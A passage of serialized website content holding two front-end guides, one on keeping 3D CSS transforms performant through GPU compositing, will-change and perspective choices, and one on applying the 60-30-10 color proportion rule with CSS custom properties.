Guide",{"type":8,"value":1448,"toc":2046},[1449,1453,1471,1474,1478,1484,1487,1491,1497,1500,1504,1507,1548,1552,1586,1595,1599,1605,1627,1631,1636,1640,1750,1757,1761,1834,1837,1841,1845,1848,1861,1865,1882,1893,1897,1903,1911,1915,1918,1927,1931,1973,1975,2010,2012,2020,2022,2042],[11,1450,1452],{"id":1451},"why-3d-transforms-need-performance-attention","Why 3D Transforms Need Performance Attention",[16,1454,1455,1456,1459,1460,1459,1463,1466,1467,1470],{},"2D CSS transforms run smoothly on nearly every device. 3D transforms — ",[143,1457,1458],{},"rotateX",", ",[143,1461,1462],{},"rotateY",[143,1464,1465],{},"translateZ",", and ",[143,1468,1469],{},"perspective"," — engage the GPU compositing pipeline differently. A card flip or parallax scroll that looks great on your laptop can drop to 15fps on a mid-range phone.",[16,1472,1473],{},"Performance is not optional. Jank destroys user trust. This guide covers what happens under the hood when you use 3D transforms and how to keep animations smooth.",[11,1475,1477],{"id":1476},"gpu-compositing-how-3d-transforms-get-rendered","GPU Compositing: How 3D Transforms Get Rendered",[16,1479,1480,1481,1483],{},"When you apply a 3D transform or ",[143,1482,1469],{},", the browser promotes the element to its own compositor layer. Instead of repainting the element inside the main page paint, the GPU handles it independently.",[16,1485,1486],{},"This is why 3D transforms feel fast — the GPU can move, rotate, and scale layers without touching the CPU-bound layout and paint steps.",[33,1488,1490],{"id":1489},"the-compositing-pipeline","The compositing pipeline",[135,1492,1495],{"className":1493,"code":1494,"language":140},[138],"JavaScript → Style → Layout → Paint → Composite\n                                        ↑\n                               GPU handles this\n",[143,1496,1494],{"__ignoreMap":141},[16,1498,1499],{},"3D transforms skip the expensive Layout and Paint steps on subsequent frames — the GPU recomposites the layer at its new position. But each layer consumes GPU memory. Too many layers exhaust video memory and cause the opposite problem: dropped frames.",[11,1501,1503],{"id":1502},"when-the-browser-creates-a-layer","When the Browser Creates a Layer",[16,1505,1506],{},"The browser promotes an element to a compositor layer when:",[41,1508,1509,1526,1535,1541],{},[44,1510,1511,1512,1515,1516,1459,1519,1459,1521,1459,1523,1525],{},"You set ",[143,1513,1514],{},"transform"," with a 3D function (",[143,1517,1518],{},"translate3d",[143,1520,1458],{},[143,1522,1462],{},[143,1524,1469],{},")",[44,1527,1511,1528,1531,1532],{},[143,1529,1530],{},"will-change: transform"," or ",[143,1533,1534],{},"will-change: opacity",[44,1536,1537,1538],{},"You apply ",[143,1539,1540],{},"backface-visibility: hidden",[44,1542,1543,1544,1547],{},"You use ",[143,1545,1546],{},"position: fixed"," or video\u002Fcanvas elements",[33,1549,1551],{"id":1550},"explicit-promotion-with-will-change","Explicit promotion with will-change",[135,1553,1557],{"className":1554,"code":1555,"language":1556,"meta":141,"style":141},"language-css shiki shiki-themes github-light github-dark",".card {\n  will-change: transform;\n}\n","css",[143,1558,1559,1572,1581],{"__ignoreMap":141},[1560,1561,1564,1568],"span",{"class":1562,"line":1563},"line",1,[1560,1565,1567],{"class":1566},"sScJk",".card",[1560,1569,1571],{"class":1570},"sVt8B"," {\n",[1560,1573,1574,1578],{"class":1562,"line":337},[1560,1575,1577],{"class":1576},"sj4cs","  will-change",[1560,1579,1580],{"class":1570},": transform;\n",[1560,1582,1583],{"class":1562,"line":343},[1560,1584,1585],{"class":1570},"}\n",[16,1587,1588,1591,1592,1594],{},[143,1589,1590],{},"will-change"," tells the browser to expect changes and promotes the element ahead of time. This avoids the cost of creating a layer on the first animation frame. But do not apply it indiscriminately — every ",[143,1593,1590],{}," element reserves GPU memory.",[33,1596,1598],{"id":1597},"removing-layers","Removing layers",[16,1600,1601,1602,1604],{},"Remove ",[143,1603,1590],{}," after the animation completes to free GPU memory:",[135,1606,1610],{"className":1607,"code":1608,"language":1609,"meta":141,"style":141},"language-javascript shiki shiki-themes github-light github-dark","element.addEventListener('transitionend', () => {\n  element.style.willChange = 'auto'\n})\n","javascript",[143,1611,1612,1617,1622],{"__ignoreMap":141},[1560,1613,1614],{"class":1562,"line":1563},[1560,1615,1616],{},"element.addEventListener('transitionend', () => {\n",[1560,1618,1619],{"class":1562,"line":337},[1560,1620,1621],{},"  element.style.willChange = 'auto'\n",[1560,1623,1624],{"class":1562,"line":343},[1560,1625,1626],{},"})\n",[11,1628,1630],{"id":1629},"perspective-and-performance","Perspective and Performance",[16,1632,1633,1635],{},[143,1634,1469],{}," adds depth to 3D transforms. It determines how dramatically elements shrink as they move away from the viewer.",[33,1637,1639],{"id":1638},"parent-vs-individual-perspective","Parent vs. individual perspective",[135,1641,1643],{"className":1554,"code":1642,"language":1556,"meta":141,"style":141},"\u002F* Perspective on parent: children share the same vanishing point *\u002F\n.container { perspective: 800px; }\n.card { transform: rotateY(45deg); }\n\n\u002F* Perspective per element: each has its own vanishing point *\u002F\n.card {\n  transform: perspective(800px) rotateY(45deg);\n}\n",[143,1644,1645,1651,1674,1698,1703,1708,1715,1745],{"__ignoreMap":141},[1560,1646,1647],{"class":1562,"line":1563},[1560,1648,1650],{"class":1649},"sJ8bj","\u002F* Perspective on parent: children share the same vanishing point *\u002F\n",[1560,1652,1653,1656,1659,1661,1664,1667,1671],{"class":1562,"line":337},[1560,1654,1655],{"class":1566},".container",[1560,1657,1658],{"class":1570}," { ",[1560,1660,1469],{"class":1576},[1560,1662,1663],{"class":1570},": ",[1560,1665,1666],{"class":1576},"800",[1560,1668,1670],{"class":1669},"szBVR","px",[1560,1672,1673],{"class":1570},"; }\n",[1560,1675,1676,1678,1680,1682,1684,1686,1689,1692,1695],{"class":1562,"line":343},[1560,1677,1567],{"class":1566},[1560,1679,1658],{"class":1570},[1560,1681,1514],{"class":1576},[1560,1683,1663],{"class":1570},[1560,1685,1462],{"class":1576},[1560,1687,1688],{"class":1570},"(",[1560,1690,1691],{"class":1576},"45",[1560,1693,1694],{"class":1669},"deg",[1560,1696,1697],{"class":1570},"); }\n",[1560,1699,1700],{"class":1562,"line":365},[1560,1701,1702],{"emptyLinePlaceholder":363},"\n",[1560,1704,1705],{"class":1562,"line":889},[1560,1706,1707],{"class":1649},"\u002F* Perspective per element: each has its own vanishing point *\u002F\n",[1560,1709,1711,1713],{"class":1562,"line":1710},6,[1560,1712,1567],{"class":1566},[1560,1714,1571],{"class":1570},[1560,1716,1718,1721,1723,1725,1727,1729,1731,1734,1736,1738,1740,1742],{"class":1562,"line":1717},7,[1560,1719,1720],{"class":1576},"  transform",[1560,1722,1663],{"class":1570},[1560,1724,1469],{"class":1576},[1560,1726,1688],{"class":1570},[1560,1728,1666],{"class":1576},[1560,1730,1670],{"class":1669},[1560,1732,1733],{"class":1570},") ",[1560,1735,1462],{"class":1576},[1560,1737,1688],{"class":1570},[1560,1739,1691],{"class":1576},[1560,1741,1694],{"class":1669},[1560,1743,1744],{"class":1570},");\n",[1560,1746,1748],{"class":1562,"line":1747},8,[1560,1749,1585],{"class":1570},[16,1751,1752,1753,1756],{},"Parent perspective is more efficient because the browser handles one perspective calculation for multiple children. Individual ",[143,1754,1755],{},"perspective()"," in transform functions triggers separate calculations per element — use it only when you need different vanishing points.",[33,1758,1760],{"id":1759},"choosing-a-perspective-value","Choosing a perspective value",[193,1762,1763,1776],{},[196,1764,1765],{},[199,1766,1767,1770,1773],{},[202,1768,1769],{},"Value",[202,1771,1772],{},"Visual Effect",[202,1774,1775],{},"Use Case",[211,1777,1778,1791,1804,1821],{},[199,1779,1780,1785,1788],{},[216,1781,1782],{},[143,1783,1784],{},"200px",[216,1786,1787],{},"Extreme distortion",[216,1789,1790],{},"Gimmick effects",[199,1792,1793,1798,1801],{},[216,1794,1795],{},[143,1796,1797],{},"500px",[216,1799,1800],{},"Noticeable depth",[216,1802,1803],{},"Card flips",[199,1805,1806,1815,1818],{},[216,1807,1808,1811,1812],{},[143,1809,1810],{},"800px","–",[143,1813,1814],{},"1200px",[216,1816,1817],{},"Subtle realism",[216,1819,1820],{},"Product showcases, UI",[199,1822,1823,1828,1831],{},[216,1824,1825],{},[143,1826,1827],{},"2000px+",[216,1829,1830],{},"Near-flat",[216,1832,1833],{},"Gentle parallax",[16,1835,1836],{},"Low perspective values cause heavy pixel interpolation near the edges — more GPU work. Stick to 800px or above for production UIs.",[11,1838,1840],{"id":1839},"performance-pitfalls","Performance Pitfalls",[33,1842,1844],{"id":1843},"too-many-layers","Too many layers",[16,1846,1847],{},"Each compositor layer costs ~4 bytes per pixel (RGBA). A 500×300 element uses 600KB of GPU memory. One hundred such elements = 60MB. On a device with 200MB of VRAM, you are in trouble.",[16,1849,1850,1853,1854,1856,1857,1860],{},[47,1851,1852],{},"Fix:"," Only promote elements that actually animate. Remove ",[143,1855,1590],{}," and ",[143,1858,1859],{},"transform: translateZ(0)"," from static elements.",[33,1862,1864],{"id":1863},"painting-during-animation","Painting during animation",[16,1866,1867,1868,1459,1871,1459,1874,1877,1878,1881],{},"If your animated element triggers layout or paint — for example, changing ",[143,1869,1870],{},"width",[143,1872,1873],{},"height",[143,1875,1876],{},"margin",", or ",[143,1879,1880],{},"box-shadow"," during the animation — the GPU optimization breaks. The browser must repaint each frame.",[16,1883,1884,1886,1887,1856,1889,1892],{},[47,1885,1852],{}," Animate only ",[143,1888,1514],{},[143,1890,1891],{},"opacity",". These are the two properties the compositor handles without repaints.",[33,1894,1896],{"id":1895},"large-element-surfaces","Large element surfaces",[16,1898,1899,1900,1902],{},"A full-width hero image with ",[143,1901,1462],{}," forces the GPU to interpolate millions of pixels per frame. Even with compositor acceleration, large surfaces slow down.",[16,1904,1905,1907,1908,1910],{},[47,1906,1852],{}," Keep animated elements small. If you must animate a large area, reduce the perspective value and use ",[143,1909,1540],{}," to skip rendering the back face.",[33,1912,1914],{"id":1913},"transform3d-on-text","Transform3d on text",[16,1916,1917],{},"Subpixel rendering breaks on 3D-transformed text. Characters appear blurry because the GPU cannot apply subpixel antialiasing on compositor layers.",[16,1919,1920,1922,1923,1926],{},[47,1921,1852],{}," Scale down slightly then back up, or apply ",[143,1924,1925],{},"translateZ(0)"," only during the animation and remove it in the rest state.",[11,1928,1930],{"id":1929},"performance-checklist","Performance Checklist",[41,1932,1933,1941,1947,1956,1959,1962,1965,1970],{},[44,1934,1935,1936,1856,1938,1940],{},"Animate only ",[143,1937,1514],{},[143,1939,1891],{}," — avoid layout-triggering properties",[44,1942,1943,1944,1946],{},"Set ",[143,1945,1530],{}," on elements before they animate, then remove it",[44,1948,1949,1950,1952,1953,1955],{},"Use parent ",[143,1951,1469],{}," over individual ",[143,1954,1755],{}," when multiple children share depth",[44,1957,1958],{},"Keep animated elements small in surface area",[44,1960,1961],{},"Count your compositor layers in DevTools (Layers panel in Chrome) — aim for under 30",[44,1963,1964],{},"Test on a mid-range mobile device, not just your dev machine",[44,1966,1388,1967,1969],{},[143,1968,1540],{}," to skip rendering hidden faces of flipped elements",[44,1971,1972],{},"Avoid 3D transforms on text — use them on containers and let the text live at rest",[11,1974,1355],{"id":1354},[41,1976,1977,1980,1983,1990,1995,2004,2007],{},[44,1978,1979],{},"3D transforms promote elements to GPU compositor layers, bypassing repaint costs",[44,1981,1982],{},"Each layer consumes GPU memory — too many layers cause performance drops",[44,1984,1935,1985,1856,1987,1989],{},[143,1986,1514],{},[143,1988,1891],{}," to stay on the compositor path",[44,1991,1388,1992,1994],{},[143,1993,1590],{}," sparingly and clean it up after animations finish",[44,1996,1997,1998,2000,2001,2003],{},"Prefer parent ",[143,1999,1469],{}," over per-element ",[143,2002,1755],{}," for multiple siblings",[44,2005,2006],{},"Test compositor layer count and memory usage in browser DevTools",[44,2008,2009],{},"Avoid applying 3D transforms to text directly to prevent blurriness",[11,2011,286],{"id":285},[16,2013,2014,2015,2019],{},"Build and preview 3D CSS transforms interactively with our ",[98,2016,2018],{"href":2017},"\u002Ftools\u002Fcss-transform","CSS Transform Tool",". Adjust perspective, rotate on any axis, and see performance-critical properties in action.",[11,2021,321],{"id":320},[41,2023,2024,2030,2036],{},[44,2025,2026],{},[98,2027,2029],{"href":2028},"\u002Fguides\u002Fcss-transform-guide","CSS Transform Guide",[44,2031,2032],{},[98,2033,2035],{"href":2034},"\u002Fguides\u002Fcss-animation-tools","CSS Animation Tools",[44,2037,2038],{},[98,2039,2041],{"href":2040},"\u002Fguides\u002Fcss-visual-effects","CSS Visual Effects",[2043,2044,2045],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":141,"searchDepth":337,"depth":337,"links":2047},[2048,2049,2052,2056,2060,2066,2067,2068,2069],{"id":1451,"depth":337,"text":1452},{"id":1476,"depth":337,"text":1477,"children":2050},[2051],{"id":1489,"depth":343,"text":1490},{"id":1502,"depth":337,"text":1503,"children":2053},[2054,2055],{"id":1550,"depth":343,"text":1551},{"id":1597,"depth":343,"text":1598},{"id":1629,"depth":337,"text":1630,"children":2057},[2058,2059],{"id":1638,"depth":343,"text":1639},{"id":1759,"depth":343,"text":1760},{"id":1839,"depth":337,"text":1840,"children":2061},[2062,2063,2064,2065],{"id":1843,"depth":343,"text":1844},{"id":1863,"depth":343,"text":1864},{"id":1895,"depth":343,"text":1896},{"id":1913,"depth":343,"text":1914},{"id":1929,"depth":337,"text":1930},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"2026-05-28","Optimize 3D CSS transforms for smooth 60fps animations — GPU compositing, will-change, perspective, and common performance pitfalls.",{"immutable":363},"\u002Fguides\u002F3d-css-transform-performance",{"title":1446,"description":2071},"guides\u002F3d-css-transform-performance","TzdQeNDkg-iT2Bzrt-brnlE5bkDM6C8YHKd-FPC9y4k",{"id":2078,"title":2079,"body":2080,"date":2070,"description":2644,"extension":361,"meta":2645,"navigation":363,"path":2649,"readingTime":1717,"seo":2650,"stem":2651,"__hash__":2652},"guides\u002Fguides\u002F60-30-10-color-rule-web-design.md","The 60-30-10 Color Rule for Web Design: A Practical Guide",{"type":8,"value":2081,"toc":2624},[2082,2086,2089,2109,2112,2116,2119,2130,2133,2137,2141,2191,2195,2198,2267,2270,2274,2338,2342,2346,2349,2353,2356,2360,2363,2367,2370,2390,2393,2397,2417,2425,2429,2573,2575,2595,2597,2603,2605,2621],[11,2083,2085],{"id":2084},"what-is-the-60-30-10-rule","What Is the 60-30-10 Rule?",[16,2087,2088],{},"The 60-30-10 rule is a classic proportion guideline from interior design, adapted for web design. It divides your color usage into three roles:",[41,2090,2091,2097,2103],{},[44,2092,2093,2096],{},[47,2094,2095],{},"60% — Dominant color",": Backgrounds, large areas, the overall feel",[44,2098,2099,2102],{},[47,2100,2101],{},"30% — Secondary color",": Navigation, sidebars, cards, sections",[44,2104,2105,2108],{},[47,2106,2107],{},"10% — Accent color",": CTAs, links, highlights, alerts",[16,2110,2111],{},"This ratio creates visual balance. The dominant color provides foundation, the secondary adds structure, and the accent draws attention where it matters.",[11,2113,2115],{"id":2114},"why-it-works","Why It Works",[16,2117,2118],{},"Human perception prefers hierarchy. When every color competes for attention, the result is visual noise. The 60-30-10 rule enforces a clear ordering:",[41,2120,2121,2124,2127],{},[44,2122,2123],{},"Your eye first lands on the accent (10%) — that is intentional",[44,2125,2126],{},"Then it absorbs the structure defined by the secondary (30%)",[44,2128,2129],{},"Finally, it rests on the dominant backdrop (60%)",[16,2131,2132],{},"Without this hierarchy, users cannot quickly identify what is important on the page.",[11,2134,2136],{"id":2135},"applying-it-to-web-interfaces","Applying It to Web Interfaces",[33,2138,2140],{"id":2139},"mapping-colors-to-ui-elements","Mapping Colors to UI Elements",[193,2142,2143,2156],{},[196,2144,2145],{},[199,2146,2147,2150,2153],{},[202,2148,2149],{},"Proportion",[202,2151,2152],{},"Role",[202,2154,2155],{},"UI Elements",[211,2157,2158,2169,2180],{},[199,2159,2160,2163,2166],{},[216,2161,2162],{},"60%",[216,2164,2165],{},"Dominant",[216,2167,2168],{},"Page background, hero backgrounds, body text on background (if dark UI)",[199,2170,2171,2174,2177],{},[216,2172,2173],{},"30%",[216,2175,2176],{},"Secondary",[216,2178,2179],{},"Navbar, footer, card backgrounds, sidebar, section backgrounds",[199,2181,2182,2185,2188],{},[216,2183,2184],{},"10%",[216,2186,2187],{},"Accent",[216,2189,2190],{},"Buttons, links, badges, icons, active states, form focus rings",[33,2192,2194],{"id":2193},"example-saas-dashboard","Example: SaaS Dashboard",[16,2196,2197],{},"A modern SaaS dashboard might use:",[135,2199,2201],{"className":1554,"code":2200,"language":1556,"meta":141,"style":141},":root {\n  \u002F* 60% — Dominant: Off-white *\u002F\n  --color-bg: #F8FAFC;\n  \u002F* 30% — Secondary: Slate gray *\u002F\n  --color-surface: #334155;\n  \u002F* 10% — Accent: Blue *\u002F\n  --color-accent: #3B82F6;\n}\n",[143,2202,2203,2210,2215,2229,2234,2246,2251,2263],{"__ignoreMap":141},[1560,2204,2205,2208],{"class":1562,"line":1563},[1560,2206,2207],{"class":1566},":root",[1560,2209,1571],{"class":1570},[1560,2211,2212],{"class":1562,"line":337},[1560,2213,2214],{"class":1649},"  \u002F* 60% — Dominant: Off-white *\u002F\n",[1560,2216,2217,2221,2223,2226],{"class":1562,"line":343},[1560,2218,2220],{"class":2219},"s4XuR","  --color-bg",[1560,2222,1663],{"class":1570},[1560,2224,2225],{"class":1576},"#F8FAFC",[1560,2227,2228],{"class":1570},";\n",[1560,2230,2231],{"class":1562,"line":365},[1560,2232,2233],{"class":1649},"  \u002F* 30% — Secondary: Slate gray *\u002F\n",[1560,2235,2236,2239,2241,2244],{"class":1562,"line":889},[1560,2237,2238],{"class":2219},"  --color-surface",[1560,2240,1663],{"class":1570},[1560,2242,2243],{"class":1576},"#334155",[1560,2245,2228],{"class":1570},[1560,2247,2248],{"class":1562,"line":1710},[1560,2249,2250],{"class":1649},"  \u002F* 10% — Accent: Blue *\u002F\n",[1560,2252,2253,2256,2258,2261],{"class":1562,"line":1717},[1560,2254,2255],{"class":2219},"  --color-accent",[1560,2257,1663],{"class":1570},[1560,2259,2260],{"class":1576},"#3B82F6",[1560,2262,2228],{"class":1570},[1560,2264,2265],{"class":1562,"line":1747},[1560,2266,1585],{"class":1570},[16,2268,2269],{},"The page background fills most of the viewport (60%). The sidebar and navbar use the dark slate (30%). CTAs and active elements pop in blue (10%).",[33,2271,2273],{"id":2272},"dark-mode-version","Dark Mode Version",[135,2275,2277],{"className":1554,"code":2276,"language":1556,"meta":141,"style":141},":root.dark {\n  \u002F* 60% — Dominant: Dark navy *\u002F\n  --color-bg: #0F172A;\n  \u002F* 30% — Secondary: Darker surface *\u002F\n  --color-surface: #1E293B;\n  \u002F* 10% — Accent: Brighter blue for dark backgrounds *\u002F\n  --color-accent: #60A5FA;\n}\n",[143,2278,2279,2286,2291,2302,2307,2318,2323,2334],{"__ignoreMap":141},[1560,2280,2281,2284],{"class":1562,"line":1563},[1560,2282,2283],{"class":1566},":root.dark",[1560,2285,1571],{"class":1570},[1560,2287,2288],{"class":1562,"line":337},[1560,2289,2290],{"class":1649},"  \u002F* 60% — Dominant: Dark navy *\u002F\n",[1560,2292,2293,2295,2297,2300],{"class":1562,"line":343},[1560,2294,2220],{"class":2219},[1560,2296,1663],{"class":1570},[1560,2298,2299],{"class":1576},"#0F172A",[1560,2301,2228],{"class":1570},[1560,2303,2304],{"class":1562,"line":365},[1560,2305,2306],{"class":1649},"  \u002F* 30% — Secondary: Darker surface *\u002F\n",[1560,2308,2309,2311,2313,2316],{"class":1562,"line":889},[1560,2310,2238],{"class":2219},[1560,2312,1663],{"class":1570},[1560,2314,2315],{"class":1576},"#1E293B",[1560,2317,2228],{"class":1570},[1560,2319,2320],{"class":1562,"line":1710},[1560,2321,2322],{"class":1649},"  \u002F* 10% — Accent: Brighter blue for dark backgrounds *\u002F\n",[1560,2324,2325,2327,2329,2332],{"class":1562,"line":1717},[1560,2326,2255],{"class":2219},[1560,2328,1663],{"class":1570},[1560,2330,2331],{"class":1576},"#60A5FA",[1560,2333,2228],{"class":1570},[1560,2335,2336],{"class":1562,"line":1747},[1560,2337,1585],{"class":1570},[11,2339,2341],{"id":2340},"common-mistakes","Common Mistakes",[33,2343,2345],{"id":2344},"mistake-1-counting-the-logo-as-accent","Mistake 1: Counting the Logo as Accent",[16,2347,2348],{},"Your brand logo might use a bold color, but if it sits in the navbar (secondary zone), it does not count toward the 10% accent allocation. The rule applies to visible area, not number of elements.",[33,2350,2352],{"id":2351},"mistake-2-multiple-accent-colors","Mistake 2: Multiple Accent Colors",[16,2354,2355],{},"Some designs use blue for primary buttons and green for success states. That is fine — but both together still need to occupy roughly 10% of the visual area. If your accents dominate more than 10%, reduce the accent usage or merge accent roles.",[33,2357,2359],{"id":2358},"mistake-3-ignoring-text-color","Mistake 3: Ignoring Text Color",[16,2361,2362],{},"Body text color is part of the ratio. On a light background, dark text might dominate far more than 10%. Consider your text color part of the dominant or secondary zone, not an extra layer.",[11,2364,2366],{"id":2365},"adapting-the-rule","Adapting the Rule",[16,2368,2369],{},"The 60-30-10 ratio is a guideline, not a law. Common adaptations:",[41,2371,2372,2378,2384],{},[44,2373,2374,2377],{},[47,2375,2376],{},"60-30-5-5",": Split the accent into two colors for primary actions vs. success\u002Ferror states",[44,2379,2380,2383],{},[47,2381,2382],{},"70-20-10",": Push more toward minimalism with a very dominant neutral",[44,2385,2386,2389],{},[47,2387,2388],{},"50-30-20",": For bold, brand-forward designs with more accent presence",[16,2391,2392],{},"The key is maintaining hierarchy — whatever ratio you choose, there should be a clear dominant, secondary, and accent distinction.",[11,2394,2396],{"id":2395},"building-a-60-30-10-palette","Building a 60-30-10 Palette",[77,2398,2399,2405,2411],{},[44,2400,2401,2404],{},[47,2402,2403],{},"Choose your dominant",": Start with a neutral — white, off-white, light gray, or a dark shade for dark mode",[44,2406,2407,2410],{},[47,2408,2409],{},"Pick your secondary",": Select a color that contrasts with the dominant but does not compete with the accent — typically a muted or darker shade",[44,2412,2413,2416],{},[47,2414,2415],{},"Select your accent",": This should be the most saturated color in your palette. It needs to stand out against both dominant and secondary",[16,2418,2419,2420,2424],{},"Use our ",[98,2421,2423],{"href":2422},"\u002Ftools\u002Fcolor-palette","Color Palette Generator"," to create harmonious palettes and see them applied to a sample layout.",[11,2426,2428],{"id":2427},"using-css-custom-properties","Using CSS Custom Properties",[135,2430,2432],{"className":1554,"code":2431,"language":1556,"meta":141,"style":141},":root {\n  --color-dominant: #F8FAFC;\n  --color-secondary: #334155;\n  --color-accent: #3B82F6;\n}\n\nbody {\n  background-color: var(--color-dominant);\n  color: var(--color-secondary);\n}\n\n.btn-primary {\n  background-color: var(--color-accent);\n  color: white;\n}\n",[143,2433,2434,2440,2451,2462,2472,2476,2480,2488,2505,2522,2527,2532,2540,2556,2568],{"__ignoreMap":141},[1560,2435,2436,2438],{"class":1562,"line":1563},[1560,2437,2207],{"class":1566},[1560,2439,1571],{"class":1570},[1560,2441,2442,2445,2447,2449],{"class":1562,"line":337},[1560,2443,2444],{"class":2219},"  --color-dominant",[1560,2446,1663],{"class":1570},[1560,2448,2225],{"class":1576},[1560,2450,2228],{"class":1570},[1560,2452,2453,2456,2458,2460],{"class":1562,"line":343},[1560,2454,2455],{"class":2219},"  --color-secondary",[1560,2457,1663],{"class":1570},[1560,2459,2243],{"class":1576},[1560,2461,2228],{"class":1570},[1560,2463,2464,2466,2468,2470],{"class":1562,"line":365},[1560,2465,2255],{"class":2219},[1560,2467,1663],{"class":1570},[1560,2469,2260],{"class":1576},[1560,2471,2228],{"class":1570},[1560,2473,2474],{"class":1562,"line":889},[1560,2475,1585],{"class":1570},[1560,2477,2478],{"class":1562,"line":1710},[1560,2479,1702],{"emptyLinePlaceholder":363},[1560,2481,2482,2486],{"class":1562,"line":1717},[1560,2483,2485],{"class":2484},"s9eBZ","body",[1560,2487,1571],{"class":1570},[1560,2489,2490,2493,2495,2498,2500,2503],{"class":1562,"line":1747},[1560,2491,2492],{"class":1576},"  background-color",[1560,2494,1663],{"class":1570},[1560,2496,2497],{"class":1576},"var",[1560,2499,1688],{"class":1570},[1560,2501,2502],{"class":2219},"--color-dominant",[1560,2504,1744],{"class":1570},[1560,2506,2508,2511,2513,2515,2517,2520],{"class":1562,"line":2507},9,[1560,2509,2510],{"class":1576},"  color",[1560,2512,1663],{"class":1570},[1560,2514,2497],{"class":1576},[1560,2516,1688],{"class":1570},[1560,2518,2519],{"class":2219},"--color-secondary",[1560,2521,1744],{"class":1570},[1560,2523,2525],{"class":1562,"line":2524},10,[1560,2526,1585],{"class":1570},[1560,2528,2530],{"class":1562,"line":2529},11,[1560,2531,1702],{"emptyLinePlaceholder":363},[1560,2533,2535,2538],{"class":1562,"line":2534},12,[1560,2536,2537],{"class":1566},".btn-primary",[1560,2539,1571],{"class":1570},[1560,2541,2543,2545,2547,2549,2551,2554],{"class":1562,"line":2542},13,[1560,2544,2492],{"class":1576},[1560,2546,1663],{"class":1570},[1560,2548,2497],{"class":1576},[1560,2550,1688],{"class":1570},[1560,2552,2553],{"class":2219},"--color-accent",[1560,2555,1744],{"class":1570},[1560,2557,2559,2561,2563,2566],{"class":1562,"line":2558},14,[1560,2560,2510],{"class":1576},[1560,2562,1663],{"class":1570},[1560,2564,2565],{"class":1576},"white",[1560,2567,2228],{"class":1570},[1560,2569,2571],{"class":1562,"line":2570},15,[1560,2572,1585],{"class":1570},[11,2574,1355],{"id":1354},[41,2576,2577,2580,2583,2586,2589,2592],{},[44,2578,2579],{},"The 60-30-10 rule divides color into dominant (60%), secondary (30%), and accent (10%) roles",[44,2581,2582],{},"Hierarchy guides the eye: accent draws attention, secondary provides structure, dominant sets the foundation",[44,2584,2585],{},"Map proportions to UI zones: backgrounds, surfaces\u002Fnavigation, and interactive elements",[44,2587,2588],{},"Text color counts toward the ratio — do not treat it as a separate layer",[44,2590,2591],{},"Adapt the ratio to your brand (60-30-5-5, 70-20-10) but always maintain clear hierarchy",[44,2593,2594],{},"Build palettes starting with the dominant neutral, then secondary, then the most saturated accent",[11,2596,286],{"id":285},[16,2598,2599,2600,2602],{},"Generate balanced palettes with proportion previews using our ",[98,2601,2423],{"href":2422},". See how dominant, secondary, and accent colors look together before committing.",[11,2604,321],{"id":320},[41,2606,2607,2614],{},[44,2608,2609,2613],{},[98,2610,2612],{"href":2611},"\u002Fguides\u002Fcolor-palette-guide","Color Palette Guide"," — building harmonious palettes from scratch",[44,2615,2616,2620],{},[98,2617,2619],{"href":2618},"\u002Fguides\u002Faccessibility-first-color-palettes","Accessibility-First Color Palettes"," — ensuring contrast compliance at every proportion",[2043,2622,2623],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki 